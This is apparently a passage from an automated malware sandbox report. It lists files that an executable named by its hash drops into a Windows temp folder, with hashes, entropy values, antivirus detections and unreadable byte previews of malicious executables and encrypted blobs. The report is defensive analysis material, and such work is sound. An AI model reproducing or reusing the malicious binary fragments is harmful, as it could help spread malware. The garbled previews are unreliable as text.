Preview:	RNWPRhR..X....?...R..u.....P...B..l...%.Jo....5r.Q...J%.uC ..-...;.Z.OE......So....m[.N...'v.#....~z.>..y#.....46.F......{....q..o.y..j.......;W.?..h.q....6J..]..p../&......91....zM.%...@J_.bJZ....A..^...Rw........\.(M.x'...m..w... P...;1.^1..h.lR6....~..`.......K..y..Sw.ZVJ.\|zZ.....$...+....l?..DV.,.}..<....7..;....&u......\|(.J.T.C.,..`.....p.c.11c.Y....qa..+?LX...W.k...Fjc/.\.].81.f.j..2".0.......(.[\q6k...$........\.NH....4..Q>....2..........6h..........^..D..D..j.....W.D.lw.:'.e.X,.I..M.....!..u..%......aP.-...dc.9's7?..(.\..S...s.[..y..'-.3H......OsiT[...]vWa~.E....!qa...1Tl......r....`.2k..k..7D....;.1"...=..u..S.(.~...n.;m.>.......7N.e.4.K\|..#;h....)@....B2"E.=yL.^..>g...5..5.2.]..yn.l...._.O.y.7......&....~.K....+.&.j.&....r..&n....iph...:.1YSz.e...+..Zz........].....V..h.....g.....DO...R..S...Y...."Syh.i.>p.1....oDb......:...Tw.?.:..^dm....'..,.......k.....~.%.'..+.G(J{..1...(y.E7nH.(.+.x..{.F..A.Yc....oY.\|

C:\Users\user\AppData\Local\Temp\tmp431A.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	792910
Entropy (8bit):	7.614698919523123
Encrypted:	false
SSDEEP:	24576:eGQZ4dWxnxXO0+R829XlHpxiMDv++ic65/:ezZj/XM829XlTop/
MD5:	9DCD286EAF84534692C1269ADD6CF1D5
SHA1:	AF80E901D2356DBE761DC76926D51537E5339B56
SHA-256:	59CF88C67AE75321D1D37ED779C3831888736F1D5432F734A50314EC1E575F47
SHA-512:	7C913B2AC6FEF3FFFD759370C77D7287CC584D81A44767B5CA7A235CA5B9A63DCA59AB4C8B9F7ED9E313CD1EE21E81751C6AD1F8F0863BF9BF30804A2A38B564
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ.....P..........\....Rp'..].........4"...k.M..:U...M.`zY.#.j..wA.8w.0Y..thP6..EF...#{.&:.i.a...:..{...}RkaR~.....1y......I../r.M......G)H.e. q...............3..............R.t..Cx?..E.&.@2`.c.-6..m...o.'.'.b...Dw.i.......Rx<..y=..Q.Q_..w...11r.....=.D......t,.P.iu;.{A.?.K..b..]3.IyZ...1~.>k.8@..f...........2..=...\(C.%....B.w...q..+.o.[4j..,1.R. .#.K..7..VR.[.T.D..X....s..j......Qxl[.)...r.1...8....9P..4.?.ki$...K..Pm.Hl..7..K.=;.(t^.V..u.....\n.)e.O..{.:.V..z.ap......"...m.N.j~..7j.C......S..(....#.."H!_.R......Tm....].b..p......../....k:-.i.CM....Hq.n..F.4.^t$..h.\/M...[k#.P.....(.{.......2\.y.Q.I..e..(.X....FO4*E....wJ..4&..-r..<;`....@........C.)V:...J.L.`....A..N.Ny<Y.r....x}?=..e.R.^B....8.+..l+..I..r........\|,_.:SbB..C^...l...$...H\|[..]..$.LY.:g..E.Me..W.6 .6h...z...h.....}.$.g.93.E.-..K$........Q4..:<..{v..C......V..3.L.w.NdL..k...#..j..q..ML.1......U..+.%...1H.9!........^)....J..~.......T5s..#...Mo6.r.... ..a.a\\..^/.(..@....HZ..

C:\Users\user\AppData\Local\Temp\wct150C.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997372358210284
Encrypted:	true
SSDEEP:	1536:WKQ6aNvhMelYcfhQJ6zDeAXagL/5ZcJcTZXr+fzY0rIYvvL:nQ6wMat5/hqu5ocTZXm0cIYvT
MD5:	9ADBFE883C983B290F5C9F79AE467230
SHA1:	897D3EEF5ED62DA73C3788001C9549047FBE0221
SHA-256:	781588F7176DFF12BF362D94259A203B2C0AD8A76CF9EDDD27EBD0B736906E6E
SHA-512:	E6AEEC7DE7ED8AF0743551A40DD0628C6844F9F943D6D2395D7B9305EB7931D859099971F0BC0DB99508C7CFC1334B403D81C1681F7311BFECCB8D8D2FF53FFA
Malicious:	false
Preview:	{"ram...7.R&.d......L`.U.,d.2#x.MQ`.L....}.iG.3 .Nma..-...$...UJ..Wb...5..^..s...........7g....K!.....Y.&.....b...EW..........>r....P.mx.%.W...[u.$m.,.m..\.q.e.es.D....Q.e.g....#..i..T.4...qcf.....-.............\..w...^$.Q.(..b%...A..+...\^..x..Hm...<..(3Zx..K.O...W..o.!+.z..f..M.$.`...(s....5#....t...c7..\|X...r..P.Q^.B.`#oP..?V..O...e.l..+...Z...0.f.R#Ej.\|=.;.m...O=!u..})..m k..`....3..R..w!..HJ"..S.....-F...+...Xz..4.}^..-..F(D....(.\|......m.[..sE:Z....[I._Rz..-.........c<...80..K..H...C..G..).....y.4....D..5D....#.(0}.(AIC...Vl#....T./.[4......)5.6..W.....XH.I....(...>.U.y...,..._0.....q./...`zE...wqZhh..;..T....#9...R.....@...S.I.#.L$B..T<.......kV...#.bC.j..3.9.X.O.5g-......G....d. ...4.l+.=.... .Ia..........".cr1.....S.o.-M}L6.*...........c.l.;......<<.h.-.}...ZX....Q._)..]...KQA....@..[.m.._YJ.LIa...&.@..3b...;......R.R..~.VK...t....8Xf.:'...:g]Nh........r^l.H...,\K..T.....eG......$....3.+....'.].F.X......Zf0.G

C:\Users\user\AppData\Local\Temp\wct33D7.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.996861531129073
Encrypted:	true
SSDEEP:	1536:udSu9MGiGTCBUglL4HhUu+tmL1ZwZ44n6DvWHJ:UWGToUJHhPZQ/n6bOJ
MD5:	17F8DE76C1C544AF846CFD46B35E4E69
SHA1:	98305DCC68C2089CCA0171D266DE205BF539BAC0
SHA-256:	C20A6E28D5C28019FCF188AAA33C0EE9031673C4863D2CC1B7A46C5D06F6D828
SHA-512:	86B7540591303954CAC4A46464D4CF0D69C667EAC1578097C0771D8659C0AFE4112AFFD173D51F248FE8EA303956266EAA1046DFF481BE9446844EB8C0AE254F
Malicious:	false
Preview:	{"ram........xP..UT......&.k...H....B.vr]....\|x.O...L...up.?^.....a.....q8v.@...mT}W\..7...#.,cQ[cL..Z.}.8..VM+).N.G.G...g=M....a.3....../...+...~Y../;...MdFO.@=....).......6..}{2".[.....}N.$........-#N.~..rk........Yn..k..O.5`(wP5g..@.].j.[..U8E..O...[.g....(.....G...7^.(...$a>....jO..4.v.u..B..c.v..T..#...T.r.....{>,.....eBGx.O...H..]..0`=u.e0..M...gZA....LQ.n.}...=F...jt...../.~+.......3..w.J%Dh5..V.Q....JH...7......c....G..S..S..c..Ef._.........X..}.......sc.9.Ke.....1..4......w.~.....,.....g^.&..?...f.....#c......0..l....C.:}.Q<..._.f.U....9...:..&.5is.. .B.^..X.B!W..w.\|......2....'.Cd....:.k.U(........V..B..}..A....v..{..._N..6!...D.bO.U.jV.X.x..,59.vut.j.d0.n..y<...y.%.W...5]Mi.\7/WZn...%.\|.....$.a...[..d9..I......9k.............$".+Y.....T0,0....@.. 8....n......3".........Y...R...D..q....._.?...;.F4..{...........f.1.B..e......(...P..>d..qIz...J...VD.y..!..Q.3...e..N.....67{..7....e%...EX./.T..It...e%t.4..J.

C:\Users\user\AppData\Local\Temp\wct38F0.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997532127995071
Encrypted:	true
SSDEEP:	1536:N8UkoNQTEBp70Ss1w16PHJckYpjZDZgzGFIExiUcait9N1aj0C3XANFN:DkoVo1zPHJpYpVIGFIjUwz7SxnANX
MD5:	A8DC438A9908CF2E89316FAFF05FDCE5
SHA1:	24E603DBDA2770659E4210D28A2CC1A41C5FC3C9
SHA-256:	149438B8BA08294F569CEC77A4910DC07826F1E4B6CBEAD8DA37F99123EB8D5F
SHA-512:	BD9250512921726F7ABF82C714EA7FF07FBF2ABBF2BF239EADDB75CEA1F77BB934E2CA21C1E674A87F145563AF4D401A8C8D6E3FA2D360CF07BC5D4C27A14A16
Malicious:	false
Preview:	{"ram...2...c...3.....U..)..p.h...-2.e.............s..M...4bT........W3.D4.s.4.o.E....P.%A,.qE+.n....l.?..M....e.C..n?r@.0......j..zYJ.,b.T.:+6...^.;d..d.t..+.....o{...v.B...s/KI..g......3..\|.8a.G....mz..[....j%N.Nzr.Lp-.:.f.9.....9..w1'.../...3.Z.Yo.?...............7^.T..#B.gDF7D. 4N\|8T...#7.[).n...]......X.(.e..N.....E.Z.....u.'......?tZ...R.....{.^._h@.c....j.V.g?...3_p..V.9.....&..p...!.F+.Z<...l..........-.P.O&...h..$....mx]!.-Ti..l..s.O...n...`."V.>..k.y.i.j...[.....a.B.].D^.b...}....4...._..z.LT=.8.._.e^.7..........nT*\|........~Q.X}GO..N >.._........a..t...L..Q....?..R..rI..%.B.;.iT.....u.0S..c.PJz,e[qh..B.'[7z....4TPr........:.%:...'....x..+..xl.8n................8.O..{}C/.^y.3..[-....4..\...z.m2[.3. Z.."_&.Z.....l.ei..b....V..rw.k.e..#1..6...0...%...q...4#.u.2Fb.qq..P...c.H......o0...\|..IKZ..u..~Ug..6G.<........b.jQ8..}d.....p..G.....=.....^.(.v.$...p...g....gD@......"....M.a...`........:...Y..R......F;c4.rc...{Fx..\|

C:\Users\user\AppData\Local\Temp\wct3D66.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	1601198
Entropy (8bit):	7.987415523780472
Encrypted:	false
SSDEEP:	24576:VxKWlt70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUe:2e24gQu3TPZ2psFkiSqwozL
MD5:	E9835D662CD636A2C2672EF8F4B33645
SHA1:	8FA15800751DCC30CDFFF6743C5355AFD09568A2
SHA-256:	3854DCE8C8193F79BB496027571F264221A13B4BBF7B17CD176D09D66D6F64B6
SHA-512:	5E46752677E5226EC62C8E8579AE1237F3D168E62F458A2835C864FE9D4C0AA8918DB0B16B038FB07E84C3D1D4641E50D86AE09E7B244FCBCC8AFBFB2BF85016
Malicious:	true
Preview:	MZ...,..#c......$...k).hp.N%..'..P.L....9..@..>>.......[....Q.\|.Q.....18..h..UC.v.A-..h.&..OQ.K.O).....xs.MX..........g...B.}..q./.9....c....{]...:...x.4ak......+.rj. .N.yW......R......x.4>5...4.`....i....em.,n...H..lb`.6...$....3....I..o.A6.uVB7>..-...Z.m0.A.d. `.>:...)?..?.9po^.:..).Y.o.,]0.?,....w...R.\|..<..}....?Lb..s..(3[,....!.u..[?C.^...@U....1...]4.I...f6.Oc.<..\|..P..Z3...AJ...LBx...Lj.#Y...>i..91....r.S\'.nG'.... G...........7.kP...[.~.T...VJD...4.5./.&F_....pl.XD....\,..M..<...i1...Cs.[.Z...).)....z>..ve].O..........PAf....Jpw.,i.y.Ao.b=..99.:..o.g..W#.0....(DPV........l......u...mv"....+.,s lg.E.v(.~.e.`.L...........7.KwJ3..S{...'.M......DkRdZ.;.Y7...m...!..+>......R.U.....M..6....r..h^..:E..Eq...r9......0..8.Q>.5..4.@..3...1...QiR...9..)?...v.gL.Q;..Vc..m'....CW......H4.FR..G..,...Kl....]8.G.f..b..(0.v..d..$:.Nck.m..Z...E.~wU.D_..%.wZ....F...T>.R...".... ....3Te .....I.}..r.m.\.k.y..h c.3..P..6^...k......X..ah.......ej.D

C:\Users\user\AppData\Local\Temp\wct443C.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997516602931139
Encrypted:	true
SSDEEP:	1536:SLHN6typzCEeF7Aacl9FqJ/Bncuys+V0V/4+A:SLHUI1CD7UXFecNsm0VvA
MD5:	146FF26517DA50BE0CA50461A91DA4F4
SHA1:	E95AB0BD9F6C1E7146EDEA3E2F1D98DA67E6D57A
SHA-256:	F216DE10444E10BCB4CF678BC5399D745898353CEF8F5A13B523246C4E4D99E0
SHA-512:	1C8F955DD0C62240CCEBA35B77BB3D3E6D650F75778B98FC5511B14F1BB901C2B4D9632E24180FF7638D0557C0D423C6CCF8613DFC100F9C616FA39348473B30
Malicious:	false
Preview:	{"ram.r.a..,....;....]....K..S.....>..Q..`.&....A...d..%.V.R..U8..Oc=.\|......+3[>....fh...]...a..Y.r..w.2.{F.xU../.....s.,n.....N.(]...a..0n...^..(.h@l.....h....n.[.}-..X.o..n.......z)8......G..mC....../X<"..2`!.6..rp.j.m,.;9M..~..,.".c.G.-.\.>.....J..._.>.'^.tzK......_.}.#.......p...y.g}.8...........AtU.g..?Gm.b.c;.;.KO....j...>.H.bU.....)x.....z.%N..$.#..'...&. J.oI1ln..8!H.Z;#b@-...~.e zN.C..+.F....O.\|...ee.v.#0.I....aZ..K..2i.......l.....#.....'..=D...K.R...?C....m.....h.q.J..1f.......A...Z...'.[.5.J.H.R...9.o..l..O...$,.u./=.3v.!..u...g..1yQ.ld.w........].....m..Y.lP...Lw...7k.s.T.E^;oC.O.1k#\$...'^3.7...i..9...V...5....z..S.ks2.2j.<...h'P......-..f9..F9...ne.f"...x.......-..?#.....%a.?.s...v."...r...R....;..}..\|. .cR....\|_R7......j..-J.#:)-..2...U.[KK...L....p....\|M..%Ak{.HN.>.5,9..p!P1..q.h,I.....7F...a....e.........LOn....HB...$.....USR.N3V..?c..SK.._.#.n-..e+..kk=..?....z....k...`.4.O..~...9.\|l.._YE.6..N..F.a.A...8..4.$..uz..

C:\Users\user\AppData\Local\Temp\wct49A7.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997262661198143
Encrypted:	true
SSDEEP:	1536:D3KL45tZYtP2DVY9nEBRL6Q8NVD6YcRwE7VzY7TchmxXkVy:D3Kc5t2tP2S9E6fDqRwE7VzY8hmxXkVy
MD5:	0FA05902B37F0EE14F067533211A320D
SHA1:	EF6C73D7CC0D611435628502E71A9CD9952CA565
SHA-256:	35C3CD4CFD79F3E5C840D6E59FD2FBBCE317DA974899A0A06A7C96FE14A4D8C3
SHA-512:	11E3D7E505EE492A9E2D8D4D8FB06DA522FF88899891CD5BC4AA6EC88018DB0557B8CF38EFDF9A6C7A986C2388A40C2EED97D22EE84FEAA80200F0F96A1347F4
Malicious:	false
Preview:	{"ram.Q....IF....#.w..W.b.{xQj..O.+..........\|..:"..~d...Zv`...7..A.~......E......z{.rn.q..........O.....f.,...V.....%..Y.l.T%.e......S...o..7Q.(.).G..&\[...t.'........N.07..V.n.!K2.$.......A.y...L0.!0m5....S. ...G0..I...(cE.:.,.....COi(.&..q..\|".1.U,....3..EE.C..y^.v.6.M...p...r....g.\.U. ..h....:q....U...o.9..n..0.9^.....#r...=.1.....t....<;v..%.....ia...X..T..@.cW5..`$...N..z..."b.D..nR.....@...!..e.f.s..".9U..y..u}Gt.....72....j..=..^9<.f`.Y8..w=...L..Z.......$./..-....4.P.....P._..9.B..A.K.P.&.H,..n........@]...o.....m...dL......`............:.]Deo....t....-@X...U.cx.p..>.}.H.}....N..........+....BUJX.j.."j..-'.d...!V.#..^3..pR. <.M..}Y.....O3.iKQV........D.....u7./..K...,[..\|.3..=...-+....e...........l.AM..w`z@..v.X......X..b'm..Qy....4y.L..OB........E......l.G7.w.y"Yl~C.+{..AW..E.Da..l.z+%..@j>x...!.&........`...0...F.......]...K R[=.QuMB]!..K.s.FO. /..`oD.bwG....[QSC.o..l#r......}K.q&).?>.xS...p.p.q....E.....&.z..U...y

C:\Users\user\AppData\Local\Temp\wctAB5F.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997464264265011
Encrypted:	true
SSDEEP:	1536:pv/W/Uwo8YvitFSJfq+CqcVd8VUYS/ATDNi69J85tEKzS:NO/U98YqTQ9cVd8VUYS/A/Ni6M3EK2
MD5:	A6A7D7A34D4A31DAFF4E8E2D419BDA40
SHA1:	1041DF0516739538552DA57A9B59054BDD3D6E48
SHA-256:	982152DA228FF91AA311EB1DFBC7BCFC0744F8F8D10299CEC23B95F2090DD356
SHA-512:	4C45B8A28DFA8DFEBD7B8548AE39DEE0BF46FCB2B561292EB980314B2D8979D7F701F1AB83B66D402259FA2BA905B098EC06EAA1D2972AC2FCBA69186A862568
Malicious:	false
Preview:	{"ramyQ#.}........01.i..~I......}....vt V.-......Y.Nt.g.,...........QM.y.n..>A.....$.....J.........]=2En.#l.s.....LI.^..mc..?.e.FJ.u.....<..~V....>F.e.4..B=....o........P...G.....[....s'.o&..<...+....4.7)\h..l......M..V.4.1.q..p"J.....y......vb......F..P.."..+M...l& tp....l.:..ud...G.CS.a.[lwS..]B.!h...aUQ.+....Y..1....cj.B4eIl.w...."....Y<<...O..U....]..h ...S.mO...O}^...5..'....L+.V..%...P@.y...0.....o0.W...Un:.W..S.........g..yp/.I..D.....-.....B9Uq.=m.....b)..%.Bq.....ZZ.O$#!..O..J.(.....P@@f..v.X.4v.xl.4.\.$.r\..{.$h.SRD..!u.d....H.@...b...^.....n.h.F.\..q.-t...KA.a..n..X.......fN&Ps.>m...?...o.M...{T\....)[.b2..]..E.u.......Di...H..E.49f.-......7\|.a........[O...9O5.`(].....~*...\....^.].-j.4+.}.l....B.I...t(...Y..7....JQ.....a...w.TD.}$N>.+.........2$.KW...rw..B\|x{M=I.VO.0X).z.[\|L..FwR..{.Rc.`d.c.d..,.:r...}...7.)j.-(R5...!`V..........>f.....1(.Q..l..qf....f..~).EBW.(JM.IBC...z....-.\....#N...V..........f.=55I/..t...?YQ.u.'.@....T..

C:\Users\user\AppData\Local\Temp\wctDB2E.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997290587016875
Encrypted:	true
SSDEEP:	1536:3GZfszZAX+juQ8J4t5EKWOmDumN1VCuHCH1nlF:M8qOKh4t5EBOOTVCUCH1nlF
MD5:	CBCD09D9291E06600C6AB8864ED365F9
SHA1:	F0557583CC29BF0FFF9444D457150773FCB71D75
SHA-256:	97D161D47F4BAA3C96D63C490B886DDDC6E30956B8B329310DDCB8587B29F85A
SHA-512:	BBDF1853D128CA50216650730A3998BDB3764A41010B902EFAF3B44C9BC3603FE83746AD36A359856E1B58FB864644723899D8A11DE466BA2A90606328DD0EEA
Malicious:	false
Preview:	{"ram.)s..g..b.$R$....?(...9.;mc.fk.:.%...8..?.....:....U...{...C..r.`w.n..7.]...4..v......f......`.}.._V.....(.=W&.+...E...lB.N\.iP!./...Q..J.Ry..>I.K..\I..i.#............O1.H.&~,G..X.".......T.`.".h.B..S.^../.......]`9Zr.......4.~..\|R.....=.{..E..Et..;.!2.Y.zX=.j...0eM.n...V.....M..?....T..#G.T....5.TI....q.OMo...Y..b. .U.oi\|..W..Vi...D(.^...vz...<N.Q.q.)..J..:.[ a~.3s5.1y....(.....&.1.8.$.Bx.;....K.\.C.k../....R ....Jd.c..}-".$aK...\|.Cd.>.G...&..4gf\... ...r.WH.~G..R.D.e.\.2......](..D......TX..._........F...r...8...&hp...I.b....."........X.w.....G..78..+.F..D.y..n......%......\|..]l...=Z....\...j....r.&t..D0...@.....l......m ....}3).mC.\|P...a?.dRW.Dp..............)..0U.66<(3.b.../..0.`....a70..ad.!Q....alZ........V...F.Q.....-L,'.w-.7...a..e......Y\|.....\o.2.+.)t%D...3.d.....sP\|......q.Ed..._.`..x....<...G........`....<W].....B..._.....>..*.+Z ....Zy.y......n.....z.D~...\|H......X..~...Hx.w).G.s3...\|.sa..)r.J....9.oG...P....\m..

C:\Users\user\AppData\Local\Temp\wctE4A4.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997571670501565
Encrypted:	true
SSDEEP:	1536:4uC9Gyd6zp8P68pSTyn5B9reiS3wKStK1qg6UUa85CO1tZ+9heZ7:Y9Gy2+7pSTyVKN3stI6UkEO1+heZ7
MD5:	1EDE6E74F45EE999C319DA3C968682F4
SHA1:	39F561FA6FA96866FA3B1BBBF642DB00F8425ED8
SHA-256:	7526222747550EDC680A55A067F2DA2D22ACEE91A1D2BA3FCC6CD06A9CAE950D
SHA-512:	21AE7FB21EC7940740DB4F24FD35B99BC4A8DBEEF60AE6E0EA2FDD1662B26F1BBD572869D4976B9F841D22FAEDE2501397BC7231E73E8317E39D4061EF2E2CE8
Malicious:	false
Preview:	{"ram....7#.M.Aa?....N-..Xf..a.......Z[.2.....y.5....I..X..0:....8.....+'..>b.....Z.Q....lG.E..8.Zqxn'.7..c.O..T.1.h.D.....S..^Dz.l..8B...Q.ix=,zhK...(.G....^3g.........z../..V.&..Z.%u.R...0j.Q=.t....09q...%.d.X.......Y.;...+(3.1.P..1....C...1B..Zv)i.Gt.j/w.....u..LTKQ.?.s.g.....d..4:.8... .,.<...-3S~k.j..%.....S.....B.>+...F_...S{r......J.A."N>........[...Z.G.{0}.t1...{$........Zvr.8$.$C.&.....\.F.....6..?.....".f.{R.E..D..j.Y...F.....L.b.VP"S....U..6...O1....j...8b.NI........=....p...ad.g..tX.y.}\t\|.....o....5p.(..7.s....].\|..w.X.....a.{.&...U.k......)..U...X.y.L.-R.A...c.+....7.....>.S?.1.....!...;...k.H...{..0X..~?.....P..1.t.m{.....e.P=...S..>...n...q.B..Y...s..K..mt......D...,..j.e`.......\|S.0c0.e@..8.....SGJ..q..a.C..c.,...y/`z..<eMQ..z`4^....?...B0.\|.AeG"6...cS7B.* ......_..l.M.....e.y...~z.A....lz....U0.?.. o..d..~4.........n.iN...+..;,...'#,{.."..B..k.h..-.2.A>j.\..y.....f...$.@_r.W.t.B..A......E..i.Qt.:....c./..:..!.

C:\Users\user\AppData\Local\Temp\wctEA40.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997238747195217
Encrypted:	true
SSDEEP:	1536:xsaa1dFukVc5fY2CmXTZictPZ9JBwfXsScYAJpXHYC5QaDWhec2bL:xsac7gwQTJks9VHXAecEL
MD5:	B053840C9C2B6D5D87BD5D7CF62F9D86
SHA1:	4506BA4A3B808D44862175B33EF69319A2FD5A38
SHA-256:	60BE92957C0197ED66A10AC947EBF666537E97D260EBCB5F7F53D3825990629C
SHA-512:	03F7B09AB7C288C1F4654CF4E714E904652608A55443A581E75A10251F9324006516987EFE3C18017B313995B87C0FE2235FC8630D3A39FF8FA3B9A659686A9C
Malicious:	false
Preview:	{"ram.{SM.b....pZp..$...U....k.`ID..M9\|.\...3;....,...l.v.!'....n~................b..MG..).<....@.E.....T.....T...X8.@[..B>.Ol...v.Y.{.....'.X.Q.h..y.S..8l..)..e+.$..L................Q...L.X...].9..u.....^M:...4BJ/R.M.......}E.B!G(...E..}.......Y.HV.. ..D4...&r...m...H#..V...8..er...vH..IP..>L...Y.......5...yq@.7.........S..j`.I8.1=.i..9.r.EuF.hR9......Dy. .>D...Aw.p....A._..^@..C6.D.,.......<.RJ.-.\|..O)R...x...Fl..3+..b..k...9x...E.l.Bhy/_....6.n.K....../.6.#f...+...y...[R\.o.QA\|}.C.0].R...M.M..7{.......T2..z/&..l..-.....:c.......G&...;.P{.W8....P../..`.J.}..2\|.g2.....(D.&.lk..`...zu.q/1j.....8P3j..\.f....q.....".@..? ..../.......w>..?..#.........pv.O.!S.B/V.....JV....u..v..g."..v..FeL...d...s..@..oj........u.!.B.t.tA~Y...R(...N.Q<...g.O1%..f.`..j./.v.A`$./#..........;.4.b.....b.......^....\|Z..1..I........hP.B....d..B.'Q2.t..A.......#...M!..S..=..#.?.k.w.&l.\|.....P/e...%..AW..zC3..V..._.... H..U.E...#uZ.../a..q>D3:K.:G&.]...]

C:\Users\user\AppData\Local\Temp\wctF411.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997601487127691
Encrypted:	true
SSDEEP:	1536:d3Xw7BcQThS33zJMgbusCY6+u57W2u/g0B34LTOyc6yqx:dnKThSTSgdCY6+u5YYUETO6n
MD5:	D1AE193575F715C700436A5CC34EE2DA
SHA1:	EA5F8D25B03F6532EDF9B2DEA19F3CF3856B4114
SHA-256:	7D0756F98BB5C1E13BFE2C8505CE7064280996E60AE81465A22E1C9704C395AB
SHA-512:	5809E8DC1737168D666E4260AADB8ECAF1157C61A10EDC77444FEA90D52458DCAC0000AA7C2AB5366853266AFF4DE3925B337E43B26E828142C56D5089D70133
Malicious:	false
Preview:	{"ram.......%K..y....S.......b..#:gd.8..Ev..F.....=dr.......;...........b..=.9D0..&...Zry...d.....T.B....h...r..T-....%.-l..Sz..G.9...z.Ca.G......}#..A.......k(...v..+.U.:.76...b....fZe.'..x.O...v;...>{.....J.6H..g.Ay...i.........%.F...].L!.`..@>O...!..\|.j.q.P.Aa.5.0....;.. ...=..#....~.@.l.f.8m..8.;.2.-q...)~3M.z...T...=..a]..(sP.;6...h..f.....;oM.]x.ac....H(O...>.\+.#..=.......'.lF...).Z.^...K..... .Y....^..%y.S.W...N.rI.x.{....E......r....}..!.....R.....Yi.......jk`.....x........e...d...e....e,.o.LMJh.twf..I.`e5t..9"\..>..3.^.w...(t+...?._3`......t...$...o...F9!}".../ ...._7..-].0KXN..h.......8.....7.Of.=..K..p"4...... .*.....[ag1...s....._fX\.l.........(.?q2M........d..V.8.8N........Cfz..B..{........YxLz'..h=......Ds.3....h./.L..gH.PE....n0.jES....(.......'..&.k."Z5..]2.+.j.N..w.N#...z..B...cG0.?.....L.f8...x.m...b.&V...\|MV.h.n.....R..\|..qOEO.8.oy..!..T.0?.t.!..c.....].N...%0$.+...........D....?......{....,.{4..!...0...{.UF=

C:\Users\user\AppData\Local\Temp\wctF86A.tmp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947667368865371
Encrypted:	false
SSDEEP:	786432:uTwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59N:uMQcWxDMPnN+dk65gGUjku4vNjLjN
MD5:	79377A0A359A9E9F5E93D16B197AEC55
SHA1:	4A2ED80824F112B88FFACCEE5C14CBD695F6902B
SHA-256:	60FEF5C936C98506FCCE47C09960A5FCEE1FD395C1473211C8EBBD1BAABE97FA
SHA-512:	A7E653C8EE131F65EBA1A2DD9439CF3D11B11AE66D3898A3DC0F149E0DB8C7AB66F9FE847DEF895DFED5D05305A6A68EB8C8110AF7D5F3ACDF632BBEDAD8F3AC
Malicious:	true
Preview:	MZ.......u...[.qz..=.s.\..r^o....!./.`.....`8...4.>......j.s..WB...f..L......,.mb.....+Jm.;..a..I4.w..o......7...x-.&..NH<.`$...4.......t........=R6..\|...`O$.\|A..2{.u...k..8....OQR8......=..K(..~o..K]#w,.)..#f0.X...m.+.C~...r...G.c.1S<......y....30....g..3.[.....9...C/T......W.."A/..p9W.P.s/...c}3..5....).=....dy.......'..-DjH.S.pS..c-.l.^j..,A..(....^@.uf5.*.m5..g.R}50........3>..\....-.....e(..;z...$....G`..e.p.8......9...G.....l......#d..(V8q.@$.{.g..~..;(ZV...O....T..o.(.M..9h>....c~.....?...b#...HAx.Uww..{...+..#...i.qu.a.....I....;..y.....w..z.\....WM.......}U...w........k.f.?uQ....^FV$....N.[}..};..c.{..^...Ij....a..>.....Hz..}...E>....(Q..J.....B.K.....y.....!......g 4z..W.K.i...b>......0/.V.?...<5....<?8.\|pU.x.@HCkL(8..{F...U.....D..}..I...fDtzG^.i....I..@......o.$..$..5.t..x..,..........Z?.[ob...ZK.Hm.....2.....?.G..n.NT........d.....F..Xd..;.o.OA..`...ui.Gp......2.H.Y.o?mQ..G....A..@.e..."....M....q./t.~..9..

C:\Users\user\AppData\Local\Temp\wmsetup.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.795738866557527
Encrypted:	false
SSDEEP:	24:tGTyPGeoGfYjgQeg7k9PFXu9zH0B+W3zbD:MU6Qg7k2p6+W3nD
MD5:	D7873F9FDAF19D17CB86037C698B550F
SHA1:	E6277B9996222BE5103ED2C22F54DCA24635AAD7
SHA-256:	CCF68C08A899534CC81CFF15DFBC8B59B939562190BED062CAFA3304CA07DC36
